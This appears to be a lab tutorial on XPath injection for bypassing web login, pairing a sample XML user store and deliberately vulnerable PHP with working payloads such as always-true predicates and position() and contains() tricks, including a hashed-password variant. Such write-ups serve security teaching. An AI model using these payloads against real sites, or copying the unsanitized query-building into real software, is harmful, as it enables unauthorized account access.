Authentication Bypass
Now that we have a basic idea of XPath query syntax, let's look at how XPath injection can be weaponized to bypass web authentication.
Foundation
Example XML user store:
<users>
<user>
<name first="Kaylie" last="Grenvile"/>
<id>1</id>
<username>kgrenvile</username>
<password>P@ssw0rd!</password>
</user>
<user>
<name first="Admin" last="Admin"/>
<id>2</id>
<username>admin</username>
<password>admin</password>
</user>
<user>
<name first="Academy" last="Student"/>
<id>3</id>
<username>htb-stdnt</username>
<password>Academy_student!</password>
</user>
</users>Typical query used for auth:
/users/user[username/text()='htb-stdnt' and password/text()='Academy_student!']Vulnerable PHP (unsanitized concatenation):
$query = "/users/user[username/text()='" . $_POST['username'] . "' and password/text()='" . $_POST['password'] . "']";
$results = $xml->xpath($query);Basic Bypass (boolean true)
Inject values so the predicate always evaluates to true:
' or '1'='1Resulting query example:
/users/user[username/text()='' or '1'='1' and password/text()='' or '1'='1']This returns all user nodes; apps often take the first match (logs in as the first user).
To target a specific username (e.g., admin) without a valid password:
/users/user[username/text()='admin' or '1'='1' and password/text()='abc']Hashed Password Scenario
If passwords are hashed server-side before interpolation:
$query = "/users/user[username/text()='" . $_POST['username'] . "' and password/text()='" . md5($_POST['password']) . "']";
$results = $xml->xpath($query);A naive ' or '1'='1 will fail because the password literal becomes a fixed hash.
Technique A: Universal true via double OR
' or true() or 'Result:
/users/user[username/text()='' or true() or '' and password/text()='59725b2f19656a33b3eed406531fb474']Technique B: Select by position
' or position()=2 or 'Result:
/users/user[username/text()='' or position()=2 or '' and password/text()='59725b2f19656a33b3eed406531fb474']Increment the index to iterate users.
Technique C: contains() to match partial usernames
' or contains(., 'admin') or 'Result:
/users/user[username/text()='' or contains(.,'admin') or '' and password/text()='59725b2f19656a33b3eed406531fb474']Matches users whose node string-value contains "admin" (e.g., username descendants).
Notes & Tips
Try both username and password fields; either can influence the predicate.
Use application behavior (messages, returned content) to confirm success.
Do not store or publish sensitive flags. Omit secret values in write-ups.
Last updated